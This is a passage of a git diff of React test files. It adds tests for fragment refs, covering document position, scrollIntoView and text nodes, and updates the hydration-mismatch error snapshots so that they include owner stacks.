+          return (
+            <>
+              {createPortal(
+                <Fragment ref={fragmentRef}>
+                  <div id="A" ref={childARef} />
+                  {c ? (
+                    <div id="C" ref={childCRef}>
+                      <div id="D" ref={childDRef} />
+                    </div>
+                  ) : null}
+                </Fragment>,
+                document.body,
+              )}
+              {createPortal(<p id="B" ref={childBRef} />, document.body)}
+              <div id="E" ref={childERef} />
+            </>
+          );
+        }
+
+        await act(() => root.render(<Test />));
+
+        // Due to effect, order is E / A->B->C->D
+        expect(document.body.outerHTML).toBe(
+          '<body>' +
+            '<div><div id="E"></div></div>' +
+            '<div id="A"></div>' +
+            '<p id="B"></p>' +
+            '<div id="C"><div id="D"></div></div>' +
+            '</body>',
+        );
+
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(document.body),
+          {
+            preceding: true,
+            following: false,
+            contains: true,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: false,
+          },
+        );
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childARef.current),
+          {
+            preceding: false,
+            following: false,
+            contains: false,
+            containedBy: true,
+            disconnected: false,
+            implementationSpecific: false,
+          },
+        );
+        // Contained by in DOM, but following in React tree
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childBRef.current),
+          {
+            preceding: false,
+            following: false,
+            contains: false,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: true,
+          },
+        );
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childCRef.current),
+          {
+            preceding: false,
+            following: false,
+            contains: false,
+            containedBy: true,
+            disconnected: false,
+            implementationSpecific: false,
+          },
+        );
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childDRef.current),
+          {
+            preceding: false,
+            following: false,
+            contains: false,
+            containedBy: true,
+            disconnected: false,
+            implementationSpecific: false,
+          },
+        );
+        // Preceding DOM but following in React tree
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childERef.current),
+          {
+            preceding: false,
+            following: false,
+            contains: false,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: true,
+          },
+        );
+      });
+
+      // @gate enableFragmentRefs
+      it('handles empty fragments', async () => {
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+
+        function Test() {
+          return (
+            <>
+              <div id="A" ref={childARef} />
+              {createPortal(<Fragment ref={fragmentRef} />, document.body)}
+              <div id="B" ref={childBRef} />
+            </>
+          );
+        }
+
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => root.render(<Test />));
+
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(document.body),
+          {
+            preceding: true,
+            following: false,
+            contains: true,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: true,
+          },
+        );
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childARef.current),
+          {
+            preceding: true,
+            following: false,
+            contains: false,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: true,
+          },
+        );
+        expectPosition(
+          fragmentRef.current.compareDocumentPosition(childBRef.current),
+          {
+            preceding: true,
+            following: false,
+            contains: false,
+            containedBy: false,
+            disconnected: false,
+            implementationSpecific: true,
+          },
+        );
+      });
+    });
+  });
+
+  describe('scrollIntoView', () => {
+    function expectLast(arr, test) {
+      expect(arr[arr.length - 1]).toBe(test);
+    }
+    // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+    it('does not yet support options', async () => {
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(<Fragment ref={fragmentRef} />);
+      });
+
+      expect(() => {
+        fragmentRef.current.scrollIntoView({block: 'start'});
+      }).toThrowError(
+        'FragmentInstance.scrollIntoView() does not support ' +
+          'scrollIntoViewOptions. Use the alignToTop boolean instead.',
+      );
+    });
+
+    describe('with children', () => {
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('settles scroll on the first child by default, or if alignToTop=true', async () => {
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            <React.Fragment ref={fragmentRef}>
+              <div ref={childARef} id="a">
+                A
+              </div>
+              <div ref={childBRef} id="b">
+                B
+              </div>
+            </React.Fragment>,
+          );
+        });
+
+        let logs = [];
+        childARef.current.scrollIntoView = jest.fn().mockImplementation(() => {
+          logs.push('childA');
+        });
+        childBRef.current.scrollIntoView = jest.fn().mockImplementation(() => {
+          logs.push('childB');
+        });
+
+        // Default call
+        fragmentRef.current.scrollIntoView();
+        expectLast(logs, 'childA');
+        logs = [];
+        // alignToTop=true
+        fragmentRef.current.scrollIntoView(true);
+        expectLast(logs, 'childA');
+      });
+
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('calls scrollIntoView on the last child if alignToTop is false', async () => {
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            <Fragment ref={fragmentRef}>
+              <div ref={childARef}>A</div>
+              <div ref={childBRef}>B</div>
+            </Fragment>,
+          );
+        });
+
+        const logs = [];
+        childARef.current.scrollIntoView = jest.fn().mockImplementation(() => {
+          logs.push('childA');
+        });
+        childBRef.current.scrollIntoView = jest.fn().mockImplementation(() => {
+          logs.push('childB');
+        });
+
+        fragmentRef.current.scrollIntoView(false);
+        expectLast(logs, 'childB');
+      });
+
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('handles portaled elements -- same scroll container', async () => {
+        const fragmentRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test() {
+          return (
+            <Fragment ref={fragmentRef}>
+              {createPortal(
+                <div ref={childARef} id="child-a">
+                  A
+                </div>,
+                document.body,
+              )}
+
+              <div ref={childBRef} id="child-b">
+                B
+              </div>
+            </Fragment>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        const logs = [];
+        childARef.current.scrollIntoView = jest.fn().mockImplementation(() => {
+          logs.push('childA');
+        });
+        childBRef.current.scrollIntoView = jest.fn().mockImplementation(() => {
+          logs.push('childB');
+        });
+
+        // Default call
+        fragmentRef.current.scrollIntoView();
+        expectLast(logs, 'childA');
+      });
+
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('handles portaled elements -- different scroll container', async () => {
+        const fragmentRef = React.createRef();
+        const headerChildRef = React.createRef();
+        const childARef = React.createRef();
+        const childBRef = React.createRef();
+        const childCRef = React.createRef();
+        const scrollContainerRef = React.createRef();
+        const scrollContainerNestedRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+
+        function Test({mountFragment}) {
+          return (
+            <>
+              <div id="header" style={{position: 'fixed'}}>
+                <div id="parent-a" />
+              </div>
+              <div id="parent-b" />
+              <div
+                id="scroll-container"
+                ref={scrollContainerRef}
+                style={{overflow: 'scroll'}}>
+                <div id="parent-c" />
+                <div
+                  id="scroll-container-nested"
+                  ref={scrollContainerNestedRef}
+                  style={{overflow: 'scroll'}}>
+                  <div id="parent-d" />
+                </div>
+              </div>
+              {mountFragment && (
+                <Fragment ref={fragmentRef}>
+                  {createPortal(
+                    <div ref={headerChildRef} id="header-content">
+                      Header
+                    </div>,
+                    document.querySelector('#parent-a'),
+                  )}
+                  {createPortal(
+                    <div ref={childARef} id="child-a">
+                      A
+                    </div>,
+                    document.querySelector('#parent-b'),
+                  )}
+                  {createPortal(
+                    <div ref={childBRef} id="child-b">
+                      B
+                    </div>,
+                    document.querySelector('#parent-b'),
+                  )}
+                  {createPortal(
+                    <div ref={childCRef} id="child-c">
+                      C
+                    </div>,
+                    document.querySelector('#parent-c'),
+                  )}
+                </Fragment>
+              )}
+            </>
+          );
+        }
+
+        await act(() => {
+          root.render(<Test mountFragment={false} />);
+        });
+        // Now that the portal locations exist, mount the fragment
+        await act(() => {
+          root.render(<Test mountFragment={true} />);
+        });
+
+        let logs = [];
+        headerChildRef.current.scrollIntoView = jest.fn(() => {
+          logs.push('header');
+        });
+        childARef.current.scrollIntoView = jest.fn(() => {
+          logs.push('A');
+        });
+        childBRef.current.scrollIntoView = jest.fn(() => {
+          logs.push('B');
+        });
+        childCRef.current.scrollIntoView = jest.fn(() => {
+          logs.push('C');
+        });
+
+        // Default call
+        fragmentRef.current.scrollIntoView();
+        expectLast(logs, 'header');
+
+        childARef.current.scrollIntoView.mockClear();
+        childBRef.current.scrollIntoView.mockClear();
+        childCRef.current.scrollIntoView.mockClear();
+
+        logs = [];
+
+        // // alignToTop=false
+        fragmentRef.current.scrollIntoView(false);
+        expectLast(logs, 'C');
+      });
+    });
+
+    describe('without children', () => {
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('calls scrollIntoView on the next sibling by default, or if alignToTop=true', async () => {
+        const fragmentRef = React.createRef();
+        const siblingARef = React.createRef();
+        const siblingBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            <div>
+              <Wrapper>
+                <div ref={siblingARef} />
+              </Wrapper>
+              <Fragment ref={fragmentRef} />
+              <div ref={siblingBRef} />
+            </div>,
+          );
+        });
+
+        siblingARef.current.scrollIntoView = jest.fn();
+        siblingBRef.current.scrollIntoView = jest.fn();
+
+        // Default call
+        fragmentRef.current.scrollIntoView();
+        expect(siblingARef.current.scrollIntoView).toHaveBeenCalledTimes(0);
+        expect(siblingBRef.current.scrollIntoView).toHaveBeenCalledTimes(1);
+
+        siblingBRef.current.scrollIntoView.mockClear();
+
+        // alignToTop=true
+        fragmentRef.current.scrollIntoView(true);
+        expect(siblingARef.current.scrollIntoView).toHaveBeenCalledTimes(0);
+        expect(siblingBRef.current.scrollIntoView).toHaveBeenCalledTimes(1);
+      });
+
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('calls scrollIntoView on the prev sibling if alignToTop is false', async () => {
+        const fragmentRef = React.createRef();
+        const siblingARef = React.createRef();
+        const siblingBRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        function C() {
+          return (
+            <Wrapper>
+              <div id="C" ref={siblingARef} />
+            </Wrapper>
+          );
+        }
+        function Test() {
+          return (
+            <div id="A">
+              <div id="B" />
+              <C />
+              <Fragment ref={fragmentRef} />
+              <div id="D" ref={siblingBRef} />
+              <div id="E" />
+            </div>
+          );
+        }
+        await act(() => {
+          root.render(<Test />);
+        });
+
+        siblingARef.current.scrollIntoView = jest.fn();
+        siblingBRef.current.scrollIntoView = jest.fn();
+
+        // alignToTop=false
+        fragmentRef.current.scrollIntoView(false);
+        expect(siblingARef.current.scrollIntoView).toHaveBeenCalledTimes(1);
+        expect(siblingBRef.current.scrollIntoView).toHaveBeenCalledTimes(0);
+      });
+
+      // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+      it('calls scrollIntoView on the parent if there are no siblings', async () => {
+        const fragmentRef = React.createRef();
+        const parentRef = React.createRef();
+        const root = ReactDOMClient.createRoot(container);
+        await act(() => {
+          root.render(
+            <div ref={parentRef}>
+              <Wrapper>
+                <Fragment ref={fragmentRef} />
+              </Wrapper>
+            </div>,
+          );
+        });
+
+        parentRef.current.scrollIntoView = jest.fn();
+        fragmentRef.current.scrollIntoView();
+        expect(parentRef.current.scrollIntoView).toHaveBeenCalledTimes(1);
+      });
+    });
+  });
+
+  describe('with text nodes', () => {
+    // @gate enableFragmentRefs && enableFragmentRefsTextNodes
+    it('getClientRects includes text node bounds', async () => {
+      const restoreRange = mockRangeClientRects([
+        {x: 0, y: 0, width: 80, height: 16},
+      ]);
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <Fragment ref={fragmentRef}>Hello World</Fragment>
+          </div>,
+        ),
+      );
+
+      const rects = fragmentRef.current.getClientRects();
+      expect(rects.length).toBe(1);
+      expect(rects[0].width).toBe(80);
+      restoreRange();
+    });
+
+    // @gate enableFragmentRefs && enableFragmentRefsTextNodes
+    it('getClientRects includes both text and element bounds', async () => {
+      const restoreRange = mockRangeClientRects([
+        {x: 0, y: 0, width: 60, height: 16},
+      ]);
+      const fragmentRef = React.createRef();
+      const childRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <Fragment ref={fragmentRef}>
+              Text before
+              <div ref={childRef}>Element</div>
+              Text after
+            </Fragment>
+          </div>,
+        ),
+      );
+
+      setClientRects(childRef.current, [
+        {x: 10, y: 10, width: 100, height: 20},
+      ]);
+      const rects = fragmentRef.current.getClientRects();
+      // Should have rects from 2 text nodes + 1 element = 3 total
+      expect(rects.length).toBe(3);
+      restoreRange();
+    });
+
+    // @gate enableFragmentRefs
+    it('compareDocumentPosition works with text children', async () => {
+      const fragmentRef = React.createRef();
+      const beforeRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <div ref={beforeRef} />
+            <Fragment ref={fragmentRef}>Text content</Fragment>
+          </div>,
+        ),
+      );
+
+      const position = fragmentRef.current.compareDocumentPosition(
+        beforeRef.current,
+      );
+      expect(position & Node.DOCUMENT_POSITION_PRECEDING).toBeTruthy();
+    });
+
+    // @gate enableFragmentRefs
+    it('focus is a no-op on text-only fragment', async () => {
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <Fragment ref={fragmentRef}>Text only content</Fragment>
+          </div>,
+        ),
+      );
+
+      // Should not throw or warn - just a silent no-op
+      fragmentRef.current.focus();
+      // Test passes if no error is thrown
+    });
+
+    // @gate enableFragmentRefs
+    it('focusLast is a no-op on text-only fragment', async () => {
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <Fragment ref={fragmentRef}>Text only content</Fragment>
+          </div>,
+        ),
+      );
+
+      // Should not throw or warn - just a silent no-op
+      fragmentRef.current.focusLast();
+    });
+
+    // @gate enableFragmentRefs && enableFragmentRefsTextNodes
+    it('warns when observeUsing is called on text-only fragment', async () => {
+      mockIntersectionObserver();
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <Fragment ref={fragmentRef}>Text only content</Fragment>
+          </div>,
+        ),
+      );
+
+      const observer = new IntersectionObserver(() => {});
+      fragmentRef.current.observeUsing(observer);
+      assertConsoleErrorDev(
+        [
+          'observeUsing() was called on a FragmentInstance with only text children. ' +
+            'Observers do not work on text nodes.',
+        ],
+        {withoutStack: true},
+      );
+    });
+
+    // @gate enableFragmentRefs && enableFragmentRefsScrollIntoView
+    it('scrollIntoView works on text-only fragment using Range API', async () => {
+      const restoreRange = mockRangeClientRects([
+        {x: 100, y: 200, width: 80, height: 16},
+      ]);
+      const fragmentRef = React.createRef();
+      const root = ReactDOMClient.createRoot(container);
+
+      await act(() =>
+        root.render(
+          <div>
+            <Fragment ref={fragmentRef}>Text content</Fragment>
+          </div>,
+        ),
+      );
+
+      // Mock window.scrollTo to verify it was called
+      const originalScrollTo = window.scrollTo;
+      const scrollToMock = jest.fn();
+      window.scrollTo = scrollToMock;
+
+      fragmentRef.current.scrollIntoView();
+
+      // Should have called window.scrollTo for the text node
+      expect(scrollToMock).toHaveBeenCalled();
+
+      window.scrollTo = originalScrollTo;
+      restoreRange();
+    });
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMHydrationDiff-test.js b/packages/react-dom/src/__tests__/ReactDOMHydrationDiff-test.js
index 2efcfd01d65f..835ffaac79dc 100644
--- a/packages/react-dom/src/__tests__/ReactDOMHydrationDiff-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMHydrationDiff-test.js
@@ -23,6 +23,7 @@ function errorHandler() {
 
 describe('ReactDOMServerHydration', () => {
   let container;
+  let ownerStacks;
 
   beforeEach(() => {
     jest.resetModules();
@@ -32,7 +33,15 @@ describe('ReactDOMServerHydration', () => {
     act = React.act;
 
     window.addEventListener('error', errorHandler);
-    console.error = jest.fn();
+    ownerStacks = [];
+    console.error = jest.fn(() => {
+      const ownerStack = React.captureOwnerStack();
+      if (typeof ownerStack === 'string') {
+        ownerStacks.push(ownerStack === '' ? ' <empty>' : ownerStack);
+      } else {
+        ownerStacks.push(' ' + String(ownerStack));
+      }
+    });
     container = document.createElement('div');
     document.body.appendChild(container);
   });
@@ -44,15 +53,25 @@ describe('ReactDOMServerHydration', () => {
   });
 
   function normalizeCodeLocInfo(str) {
-    return (
-      typeof str === 'string' &&
-      str.replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
-        return '\n    in ' + name + ' (at **)';
-      })
-    );
+    return typeof str === 'string'
+      ? str.replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
+          return '\n    in ' + name + ' (at **)';
+        })
+      : str;
   }
 
-  function formatMessage(args) {
+  function formatMessage(args, index) {
+    const ownerStack = ownerStacks[index];
+
+    if (ownerStack === undefined) {
+      throw new Error(
+        'Expected an owner stack for message ' +
+          index +
+          ':\n' +
+          util.format(...args),
+      );
+    }
+
     const [format, ...rest] = args;
     if (format instanceof Error) {
       if (format.cause instanceof Error) {
@@ -61,13 +80,23 @@ describe('ReactDOMServerHydration', () => {
           format.message +
           ']\n  Cause [' +
           format.cause.message +
-          ']'
+          ']\n  Owner Stack:' +
+          normalizeCodeLocInfo(ownerStack)
         );
       }
-      return 'Caught [' + format.message + ']';
+      return (
+        'Caught [' +
+        format.message +
+        ']\n  Owner Stack:' +
+        normalizeCodeLocInfo(ownerStack)
+      );
     }
     rest[rest.length - 1] = normalizeCodeLocInfo(rest[rest.length - 1]);
-    return util.format(format, ...rest);
+    return (
+      util.format(format, ...rest) +
+      '\n  Owner Stack:' +
+      normalizeCodeLocInfo(ownerStack)
+    );
   }
 
   function formatConsoleErrors() {
@@ -95,10 +124,9 @@ describe('ReactDOMServerHydration', () => {
           </div>
         );
       }
-      if (gate(flags => flags.favorSafetyOverHydrationPerf)) {
-        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
+      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
           [
-            "Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
+            "Caught [Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
 
           - A server/client branch \`if (typeof window !== 'undefined')\`.
           - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
@@ -115,33 +143,12 @@ describe('ReactDOMServerHydration', () => {
                 <main className="child">
           +       client
           -       server
-          ]",
           ]
-        `);
-      } else {
-        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
-          [
-            "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:
-
-          - A server/client branch \`if (typeof window !== 'undefined')\`.
-          - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
-          - Date formatting in a user's locale which doesn't match the server.
-          - External changing data without sending a snapshot of it along with the HTML.
-          - Invalid HTML tag nesting.
-
-          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.
-
-          https://react.dev/link/hydration-mismatch
-
-            <Mismatch isClient={true}>
-              <div className="parent">
-                <main className="child">
-          +       client
-          -       server
-          ",
+            Owner Stack:
+              in main (at **)
+              in Mismatch (at **)",
           ]
         `);
-      }
     });
 
     // @gate __DEV__
@@ -158,10 +165,9 @@ describe('ReactDOMServerHydration', () => {
       }
 
       /* eslint-disable no-irregular-whitespace */
-      if (gate(flags => flags.favorSafetyOverHydrationPerf)) {
-        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
+      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
           [
-            "Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
+            "Caught [Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
 
           - A server/client branch \`if (typeof window !== 'undefined')\`.
           - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
@@ -177,32 +183,12 @@ describe('ReactDOMServerHydration', () => {
               <div>
           +     This markup contains an nbsp entity:   client text
           -     This markup contains an nbsp entity:   server text
-          ]",
           ]
-        `);
-      } else {
-        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
-          [
-            "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:
-
-          - A server/client branch \`if (typeof window !== 'undefined')\`.
-          - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
-          - Date formatting in a user's locale which doesn't match the server.
-          - External changing data without sending a snapshot of it along with the HTML.
-          - Invalid HTML tag nesting.
-
-          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.
-
-          https://react.dev/link/hydration-mismatch
-
-            <Mismatch isClient={true}>
-              <div>
-          +     This markup contains an nbsp entity:   client text
-          -     This markup contains an nbsp entity:   server text
-          ",
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
-      }
       /* eslint-enable no-irregular-whitespace */
     });
 
@@ -245,7 +231,10 @@ describe('ReactDOMServerHydration', () => {
         -         __html: "<span>server</span>"
                 }}
               >
-        ",
+
+          Owner Stack:
+            in main (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
@@ -286,7 +275,10 @@ describe('ReactDOMServerHydration', () => {
         +       dir="ltr"
         -       dir="rtl"
               >
-        ",
+
+          Owner Stack:
+            in main (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
@@ -327,7 +319,10 @@ describe('ReactDOMServerHydration', () => {
         +       dir="ltr"
         -       dir={null}
               >
-        ",
+
+          Owner Stack:
+            in main (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
@@ -368,7 +363,10 @@ describe('ReactDOMServerHydration', () => {
         +       dir={null}
         -       dir="rtl"
               >
-        ",
+
+          Owner Stack:
+            in main (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
@@ -409,7 +407,10 @@ describe('ReactDOMServerHydration', () => {
         +       dir={null}
         -       dir="rtl"
               >
-        ",
+
+          Owner Stack:
+            in main (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
@@ -449,7 +450,78 @@ describe('ReactDOMServerHydration', () => {
         +       style={{opacity:1}}
         -       style={{opacity:"0"}}
               >
-        ",
+
+          Owner Stack:
+            in main (at **)
+            in Mismatch (at **)",
+        ]
+      `);
+    });
+
+    // @gate __DEV__
+    it('picks the DFS-first Fiber as the error Owner', () => {
+      function LeftMismatch({isClient}) {
+        return <div className={isClient ? 'client' : 'server'} />;
+      }
+
+      function LeftIndirection({isClient}) {
+        return <LeftMismatch isClient={isClient} />;
+      }
+
+      function MiddleMismatch({isClient}) {
+        return <span className={isClient ? 'client' : 'server'} />;
+      }
+
+      function RightMisMatch({isClient}) {
+        return <p className={isClient ? 'client' : 'server'} />;
+      }
+
+      function App({isClient}) {
+        return (
+          <>
+            <LeftIndirection isClient={isClient} />
+            <MiddleMismatch isClient={isClient} />
+            <RightMisMatch isClient={isClient} />
+          </>
+        );
+      }
+      expect(testMismatch(App)).toMatchInlineSnapshot(`
+        [
+          "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:
+
+        - A server/client branch \`if (typeof window !== 'undefined')\`.
+        - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
+        - Date formatting in a user's locale which doesn't match the server.
+        - External changing data without sending a snapshot of it along with the HTML.
+        - Invalid HTML tag nesting.
+
+        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.
+
+        https://react.dev/link/hydration-mismatch
+
+          <App isClient={true}>
+            <LeftIndirection isClient={true}>
+              <LeftMismatch isClient={true}>
+                <div
+        +         className="client"
+        -         className="server"
+                >
+            <MiddleMismatch isClient={true}>
+              <span
+        +       className="client"
+        -       className="server"
+              >
+            <RightMisMatch isClient={true}>
+              <p
+        +       className="client"
+        -       className="server"
+              >
+
+          Owner Stack:
+            in div (at **)
+            in LeftMismatch (at **)
+            in LeftIndirection (at **)
+            in App (at **)",
         ]
       `);
     });
@@ -483,7 +555,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           +     <main className="only">
-          ]",
+          ]
+            Owner Stack:
+              in main (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -518,7 +593,10 @@ describe('ReactDOMServerHydration', () => {
           +     <header className="1">
           -     <main className="2">
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in header (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -554,7 +632,10 @@ describe('ReactDOMServerHydration', () => {
           +     <main className="2">
           -     <footer className="3">
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in main (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -589,7 +670,10 @@ describe('ReactDOMServerHydration', () => {
                 <header>
                 <main>
           +     <footer className="3">
-          ]",
+          ]
+            Owner Stack:
+              in footer (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -601,10 +685,9 @@ describe('ReactDOMServerHydration', () => {
         function Mismatch({isClient}) {
           return <div className="parent">{isClient && 'only'}</div>;
         }
-        if (gate(flags => flags.favorSafetyOverHydrationPerf)) {
-          expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
+        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
             [
-              "Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
+              "Caught [Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:
 
             - A server/client branch \`if (typeof window !== 'undefined')\`.
             - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
@@ -620,32 +703,12 @@ describe('ReactDOMServerHydration', () => {
                 <div className="parent">
             +     only
             -     
-            ]",
             ]
-          `);
-        } else {
-          expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
-            [
-              "A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:
-
-            - A server/client branch \`if (typeof window !== 'undefined')\`.
-            - Variable input such as \`Date.now()\` or \`Math.random()\` which changes each time it's called.
-            - Date formatting in a user's locale which doesn't match the server.
-            - External changing data without sending a snapshot of it along with the HTML.
-            - Invalid HTML tag nesting.
-
-            It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.
-
-            https://react.dev/link/hydration-mismatch
-
-              <Mismatch isClient={true}>
-                <div className="parent">
-            +     only
-            -     
-            ",
+              Owner Stack:
+                in div (at **)
+                in Mismatch (at **)",
             ]
           `);
-        }
       });
 
       // @gate __DEV__
@@ -679,7 +742,10 @@ describe('ReactDOMServerHydration', () => {
           +     second
           -     <footer className="3">
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -714,7 +780,10 @@ describe('ReactDOMServerHydration', () => {
           +     first
           -     <main className="2">
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -749,7 +818,10 @@ describe('ReactDOMServerHydration', () => {
                 <header>
                 <main>
           +     third
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -784,7 +856,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           -     <main className="only">
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -819,7 +894,10 @@ describe('ReactDOMServerHydration', () => {
           +     <main className="2">
           -     <header className="1">
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in main (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -854,7 +932,10 @@ describe('ReactDOMServerHydration', () => {
                 <header>
           +     <footer className="3">
           -     <main className="2">
-          ]",
+          ]
+            Owner Stack:
+              in footer (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -887,7 +968,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           -     <footer className="3">
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -916,7 +1000,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           -     only
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -951,7 +1038,10 @@ describe('ReactDOMServerHydration', () => {
           +     <main className="2">
           -     first
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in main (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -986,7 +1076,10 @@ describe('ReactDOMServerHydration', () => {
                 <header>
           +     <footer className="3">
           -     second
-          ]",
+          ]
+            Owner Stack:
+              in footer (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1019,7 +1112,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           -     third
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1062,7 +1158,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           +     <Suspense fallback={<p>}>
-          ]",
+          ]
+            Owner Stack:
+              in Suspense (at **)
